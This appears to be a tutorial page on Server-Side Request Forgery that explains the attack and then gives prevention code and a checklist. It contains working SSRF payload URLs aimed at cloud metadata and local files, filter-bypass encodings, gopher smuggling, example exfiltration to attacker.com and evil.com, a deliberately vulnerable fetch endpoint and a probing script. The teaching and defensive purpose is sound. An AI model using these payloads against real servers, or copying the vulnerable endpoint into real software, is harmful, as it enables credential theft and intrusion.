Documentation

# Server-Side Request Forgery (SSRF) Attacks

CRITICAL SEVERITY CLOUD THREAT SERVER-SIDE

SSRF Attack Illustration
SSRF Attack Illustration

Imagine calling a receptionist at a secure building and asking them to read a confidential document on their desk over the phone - bypassing all the security guards at the front door. That's Server-Side Request Forgery (SSRF) in a nutshell.

SSRF is like using the server as your puppet. You can't access internal systems directly (they're behind firewalls), but you can trick the server into making requests for you - and the server has special access you don't have!

Simple Example: A website lets you enter a URL to download an image. You enter http://internal-database:5432 instead, and the server tries to connect to its own internal database, potentially leaking sensitive information back to you.


# What is SSRF? (In Simple Terms)

Most companies have two types of systems:

  1. External/Public - Websites and services anyone can access
  2. Internal/Private - Databases, admin panels, cloud services (protected by firewalls)

Normal hackers can't reach internal systems - they're blocked by firewalls and security rules.

SSRF changes this. Instead of attacking internal systems directly, the hacker tricks the public server into making requests to internal systems. Since the server is "inside" the network, it has access to everything internal.

# Real-World Analogies

You can't get past building security to read confidential files. But you call the receptionist (who IS inside) and say "Can you read me the contents of the document on the CEO's desk?" The receptionist has access, so they read it to you over the phone. You bypassed security by using an insider as your proxy.

You're not allowed in the VIP section of a club. But the waiter (server) can go anywhere. So you tell the waiter "Go to the VIP section and bring me whatever's in locker #5." The waiter does it because they're authorized - you get VIP access without being allowed in.

A castle has high walls you can't climb. But you give a messenger (who can enter freely) a note saying "Go to the armory and report back what weapons are stored there." The messenger has access, so they tell you everything - you just reconnaissance the castle without entering.


# How SSRF Works (The Step-by-Step Story)

Let's see how a typical SSRF attack unfolds:

Scenario: Website with Image Upload Feature

Website has a feature: "Enter image URL to display"
User enters: https://example.com/photo.jpg
Server fetches the image and displays it
Hacker enters: http://localhost/admin
Server makes request to http://localhost/admin
Server returns admin panel HTML to hacker
Hacker now sees internal admin panel!
Hacker enters: http://192.168.1.5:5432
Server connects to internal database
Server returns error message revealing database info
Hacker enters: http://169.254.169.254/latest/meta-data/iam/security-credentials/
Server fetches AWS credentials from metadata service
Hacker receives:
{
  "AccessKeyId": "ASIA...",
  "SecretAccessKey": "...",
  "Token": "..."
}
Hacker now has full AWS access!

# Types of SSRF Attacks

# 1. Basic SSRF (Internal Network Access)

COMMON NETWORK ACCESS

What it is: Accessing internal systems and services that are blocked from the internet.

Attack Example:

[Vulnerable Code]
@app.route('/import-image')
def import_image():
    url = request.args.get('url')

    # VULNERABLE: No validation of URL
    response = requests.get(url)

    return response.content
[Attack URLs]
http://yoursite.com/import-image?url=http://localhost:8080/admin
http://yoursite.com/import-image?url=http://192.168.1.100/
http://yoursite.com/import-image?url=http://internal-api.company.local/users

What Hacker Gets:

  • Internal admin panels
  • Internal API responses
  • Database management interfaces
  • Monitoring dashboards

# 2. Cloud Metadata SSRF (The Most Dangerous)

CRITICAL CREDENTIAL THEFT AWS/AZURE/GCP

What it is: Accessing cloud provider metadata services to steal credentials and sensitive information.

AWS Metadata Service:

Every EC2 instance can access:

http://169.254.169.254/latest/meta-data/

This contains:

  • AWS access keys
  • IAM role credentials
  • Instance details
  • User data scripts (often contain passwords)

Attack:

# Request to vulnerable website
http://website.com/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole
{
  "Code": "Success",
  "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
  "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
  "Token": "very-long-token-here",
  "Expiration": "2024-01-01T00:00:00Z"
}

With These Credentials, Hacker Can:

  • Access S3 buckets (download all data)
  • Read databases (RDS)
  • Spin up expensive EC2 instances (cost attack)
  • Delete infrastructure
  • Access secrets manager
  • Pivot to other AWS services

Real Example - Capital One Breach (2019):

Hacker found SSRF vulnerability in web application firewall

Used it to access AWS metadata service

Stole credentials for IAM role

Used credentials to access S3 buckets

Downloaded 100 million customer records

Cost: $80 million fine, reputation damage

# 3. Blind SSRF

STEALTHY NO DIRECT RESPONSE

What it is: You can make the server send requests, but you can't see the responses directly.

How Hackers Exploit This:

# Hacker's malicious URL
http://website.com/fetch?url=http://internal-db/users?callback=http://attacker.com/log

# Server makes request to internal-db
# Server then sends results to attacker.com
# Hacker receives data on their server
# Test if internal service exists
http://website.com/fetch?url=http://192.168.1.5:80

If response is fast: Port is closed/filtered
If response is slow: Port is open (server is waiting for timeout)
# Hacker enters:
http://website.com/fetch?url=http://admin-password-is-secret123.attacker.com

# Server makes DNS query
# Hacker's DNS server logs the subdomain
# Hacker extracts "admin-password-is-secret123" from DNS logs

# 4. SSRF via File Protocols

FILE ACCESS LOCAL FILES

What it is: Using file:// protocol to read local files from the server.

Attack:

[Linux Files]
http://website.com/fetch?url=file:///etc/passwd
http://website.com/fetch?url=file:///var/www/html/config.php
http://website.com/fetch?url=file:///proc/self/environ
[Windows Files]
http://website.com/fetch?url=file:///C:/Windows/System32/drivers/etc/hosts
http://website.com/fetch?url=file:///C:/inetpub/wwwroot/web.config

What Hacker Gets:

  • Configuration files with database passwords
  • SSH private keys
  • Application source code
  • Environment variables

# 5. SSRF Chain Attacks

COMBINED ATTACK

What it is: Combining SSRF with other vulnerabilities for bigger impact.

Example: SSRF + Redis Exploit

# Many applications use Redis for caching
# Redis by default has no authentication on internal networks
# Use SSRF to access internal Redis
http://website.com/fetch?url=http://localhost:6379
# Send Redis commands via SSRF
# Can overwrite session data, inject backdoors, etc.

# Real-World Attack Scenarios

# Scenario 1: Capital One Data Breach (2019)

100M RECORDS $80M FINE

The Setup:

  • Capital One used AWS EC2 instances
  • Web Application Firewall (WAF) had SSRF vulnerability
  • WAF could fetch URLs for security testing

The Attack:

Hacker found SSRF in WAF configuration endpoint

Made WAF fetch: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Received AWS credentials for IAM role

Used credentials to list S3 buckets

Downloaded 100 million customer records including:

  • 140,000 Social Security numbers
  • 80,000 bank account numbers
  • Credit card data

The Damage:

  • $80 million fine
  • Lawsuits and settlements
  • Massive reputation damage
  • Hacker arrested (posted about it on GitHub!)

# Scenario 2: Uber's Internal Tool Access (2016)

INTERNAL ACCESS ADMIN TOOLS

The Attack:

  • Uber had internal admin tools
  • Public-facing service had URL fetch feature
  • No validation of internal IP ranges

Attack Flow:

Hacker used SSRF to access: http://internal-admin.uber.com

Found internal tools for:

  • Driver verification
  • User account management
  • Payment systems

Gained access to rider and driver data

# Scenario 3: Slack's SSRF Vulnerability (2017)

BOUNTY: $3.5K RESPONSIBLE DISCLOSURE

The Attack:

  • Slack's link preview feature fetched URLs
  • Researcher used SSRF to:
    • Access AWS metadata
    • Scan internal networks
    • Find internal Slack services

Responsible Disclosure:

  • Reported through bug bounty
  • Slack fixed quickly
  • Researcher received $3,500 reward

# Scenario 4: Blind SSRF via PDF Generator

BLIND ATTACK

The Setup:

  • Website generates PDFs from HTML
  • Users can insert images in HTML

The Attack:

<!-- User-submitted HTML -->
<html>
<body>
  <h1>My Invoice</h1>
  <img src="http://169.254.169.254/latest/meta-data/iam/security-credentials/">
  <img src="http://internal-db:5432">
  <img src="http://192.168.1.1:80">
</body>
</html>

# Advanced SSRF Techniques

# 1. Bypassing URL Filters

FILTER EVASION

Filter: Block "localhost"

Bypass with:
- 127.0.0.1
- 127.1
- 127.0.1
- 0.0.0.0
- 0
- [::1] (IPv6)
- localhost.com (if you control this domain)

Filter: Block "192.168.x.x"

Bypass with:
- Decimal: http://3232235521 (converts to 192.168.0.1)
- Hexadecimal: http://0xC0A80001
- Octal: http://0300.0250.0000.0001
- Mixed: http://192.168.0x00.0x01

Filter: Block specific domains

Bypass with:
- DNS rebinding
- Open redirects
- URL shorteners
- Different encodings

# 2. Protocol Smuggling

ALTERNATIVE PROTOCOLS

Using Different Protocols:

[File Protocol]
file:///etc/passwd
file:///var/www/html/config.php
[Dict Protocol]
dict://localhost:11211/stats
[Gopher Protocol]
gopher://localhost:6379/...
gopher://localhost:70/
[LDAP Protocol]
ldap://localhost:389/
[TFTP Protocol]
tftp://internal-server/config

Gopher Protocol (Powerful):

Can send custom HTTP requests:

gopher://internal-api:80/_GET%20/admin%20HTTP/1.1%0AHost:%20internal-api

# 3. DNS Rebinding

TIME-OF-CHECK-TIME-OF-USE

How It Works:

Hacker sets up domain: evil.com

First DNS query returns: 1.2.3.4 (safe IP)

Website checks: "1.2.3.4 is OK"

Website makes request

Second DNS query returns: 192.168.1.1 (internal IP)

Website connects to internal IP

SSRF achieved!

# 4. Redirect Chains

FOLLOW REDIRECTS

Attack:

# Your malicious site
http://evil.com/redirect
# Redirects to:
http://169.254.169.254/latest/meta-data/

# Detection and Prevention

# 1. Input Validation and Sanitization

PRIMARY DEFENSE

Validate URLs Properly:

[Python - Secure]
from urllib.parse import urlparse
import ipaddress

def is_safe_url(url):
    """Check if URL is safe to fetch"""

    try:
        parsed = urlparse(url)

        # Only allow HTTP/HTTPS
        if parsed.scheme not in ['http', 'https']:
            return False

        # Get hostname
        hostname = parsed.hostname

        if not hostname:
            return False

        # Resolve hostname to IP
        import socket
        ip = socket.gethostbyname(hostname)
        ip_obj = ipaddress.ip_address(ip)

        # Block private/internal IPs
        if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
            return False

        # Block cloud metadata
        if ip == '169.254.169.254':
            return False

        # Block reserved ranges
        if ip_obj.is_reserved:
            return False

        return True

    except Exception:
        return False

# Usage
@app.route('/fetch')
def fetch_url():
    url = request.args.get('url')

    if not is_safe_url(url):
        return "Invalid URL", 400

    response = requests.get(url, timeout=5)
    return response.content
[Node.js - Secure]
const url = require('url');
const dns = require('dns').promises;
const { isIP } = require('net');

async function isSafeURL(urlString) {
    try {
        const parsed = new URL(urlString);

        // Only HTTP/HTTPS
        if (!['http:', 'https:'].includes(parsed.protocol)) {
            return false;
        }

        const hostname = parsed.hostname;

        // Resolve to IP
        const addresses = await dns.resolve4(hostname);
        const ip = addresses[0];

        // Block private ranges
        const privateRanges = [
            /^127\./,  // Loopback
            /^10\./,   // Private
            /^172\.(1[6-9]|2[0-9]|3[0-1])\./,  // Private
            /^192\.168\./,  // Private
            /^169\.254\./,  // Link-local (cloud metadata!)
        ];

        for (const range of privateRanges) {
            if (range.test(ip)) {
                return false;
            }
        }

        return true;

    } catch (error) {
        return false;
    }
}

// Usage
app.get('/fetch', async (req, res) => {
    const url = req.query.url;

    if (!await isSafeURL(url)) {
        return res.status(400).send('Invalid URL');
    }

    const response = await fetch(url);
    const data = await response.text();
    res.send(data);
});

# 2. Use Allowlists, Not Blocklists

RECOMMENDED

# Block known bad domains
blocked = ['localhost', '127.0.0.1', '192.168.']
if any(bad in url for bad in blocked):
    return "Blocked"
# Easy to bypass!
# Only allow specific domains
allowed_domains = [
    'example.com',
    'api.partner.com',
    'cdn.trusted.net'
]

parsed = urlparse(url)
if parsed.hostname not in allowed_domains:
    return "Only specific domains allowed"

# 3. Network Segmentation

INFRASTRUCTURE

Infrastructure Setup:

Internet
   ↓
[DMZ - Web Servers]
   ↓ (Firewall)
[Internal Network]
   ↓
[Database, Internal APIs]

Firewall Rules:

[Block Internal Access]
# Web servers CANNOT access:
- Cloud metadata (169.254.169.254)
- Internal IP ranges (192.168.x.x, 10.x.x.x)
- Localhost (127.0.0.1)
- Other internal services
[Defense Result]
# Even if SSRF exists, firewall blocks it

# 4. Disable Unnecessary Protocols

PROTOCOL RESTRICTION

# Python requests - disable dangerous protocols
import requests

# Create custom session
session = requests.Session()

# Remove unnecessary adapters
session.mount('file://', None)  # Block file:// protocol
session.mount('ftp://', None)   # Block FTP
session.mount('gopher://', None)  # Block gopher

# Only HTTP/HTTPS remain
response = session.get(user_url)

# 5. Use Cloud IMDSv2 (AWS)

AWS PROTECTION

AWS Metadata V2 requires token-based auth:

curl http://169.254.169.254/latest/meta-data/
TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"`
curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/
aws ec2 modify-instance-metadata-options \
    --instance-id i-1234567890abcdef0 \
    --http-tokens required \
    --http-endpoint enabled

# 6. Response Validation

OUTPUT FILTERING

def fetch_url_safely(url):
    # Validate URL first
    if not is_safe_url(url):
        raise ValueError("Unsafe URL")

    response = requests.get(url, timeout=5)

    # Validate response
    # Don't return raw internal responses to user
    if 'application/json' in response.headers.get('Content-Type', ''):
        # Parse and filter JSON
        data = response.json()
        # Only return safe fields
        return {'title': data.get('title')}

    # For images, validate it's actually an image
    if response.headers.get('Content-Type', '').startswith('image/'):
        from PIL import Image
        import io
        try:
            Image.open(io.BytesIO(response.content))
            return response.content
        except:
            raise ValueError("Not a valid image")

    raise ValueError("Unexpected content type")

# Testing for SSRF Vulnerabilities

# Manual Testing Checklist

TESTING GUIDE

Look for features that:

  • Fetch external resources (images, PDFs, etc.)
  • Webhooks
  • URL parsers
  • Link previews
  • File imports from URL
  • RSS/Atom feed readers
http://yoursite.com/fetch?url=http://example.com

If it works, move to next step.

# Localhost
http://yoursite.com/fetch?url=http://localhost
http://yoursite.com/fetch?url=http://127.0.0.1

# Cloud metadata
http://yoursite.com/fetch?url=http://169.254.169.254/latest/meta-data/

# Internal IPs
http://yoursite.com/fetch?url=http://192.168.1.1
http://yoursite.com/fetch?url=http://10.0.0.1
http://yoursite.com/fetch?url=http://2130706433  (127.0.0.1 in decimal)
http://yoursite.com/fetch?url=http://0x7f000001  (127.0.0.1 in hex)
http://yoursite.com/fetch?url=file:///etc/passwd
http://yoursite.com/fetch?url=dict://localhost:11211/stats
http://yoursite.com/fetch?url=gopher://localhost:70/

# Automated Tools

[SSRFmap]
python3 ssrfmap.py -r request.txt -p url -m readfiles
[Burp Suite]
# Extensions:
- Burp Collaborator (detect blind SSRF)
- Param Miner (find hidden parameters)
[Custom Test Script]
import requests

target = "http://vulnerable-site.com/fetch"
test_urls = [
    "http://localhost",
    "http://127.0.0.1",
    "http://169.254.169.254/latest/meta-data/",
    "http://192.168.1.1",
    "file:///etc/passwd",
]

for test_url in test_urls:
    try:
        response = requests.get(target, params={'url': test_url}, timeout=5)

        if response.status_code == 200:
            print(f"[VULNERABLE] {test_url}")
            print(f"Response: {response.text[:100]}")
        else:
            print(f"[BLOCKED] {test_url}")

    except Exception as e:
        print(f"[ERROR] {test_url}: {e}")

# Summary: What You Need to Remember

Server-Side Request Forgery (SSRF) tricks a server into making requests to internal systems that are normally protected by firewalls. Like using a receptionist to read confidential documents you can't access yourself, SSRF uses the server as a proxy to access internal resources.

The Simple Version:

  • What it is: Tricking the server into fetching internal URLs for you - bypassing firewalls
  • Why it's dangerous: Can steal cloud credentials, access internal databases, scan internal networks
  • How to prevent it: Validate URLs, block internal IP ranges, use network segmentation

Real-World Impact:

  • Capital One: 100 million records stolen, $80M fine (2019)
  • Uber: Internal admin tools accessed (2016)
  • Common in cloud environments (AWS, Azure, GCP)

Most Dangerous Target: Cloud metadata services (169.254.169.254) containing AWS/Azure credentials

# Quick Protection Checklist

For Website Owners & Developers:

DO Validate and sanitize all URLs before fetching DO Block private IP ranges (127.x, 192.168.x, 10.x, 169.254.x) DO Use allowlists for permitted domains DO Disable unnecessary protocols (file://, gopher://, etc.) DO Enable AWS IMDSv2 to protect metadata service DO Implement network segmentation DO Resolve hostname to IP and check if it's internal

DON'T Trust user-provided URLs without validation DON'T Use blocklists (easy to bypass with encoding) DON'T Return raw internal responses to users DON'T Allow all protocols (file, gopher, dict, etc.) DON'T Let public servers access sensitive internal systems

For Cloud Users:

TIP Enable IMDSv2 on all AWS EC2 instances TIP Use IAM roles with minimal permissions TIP Monitor for unusual internal requests TIP Segment networks - web servers shouldn't access databases directly


# Additional Resources


Last updated: November 2025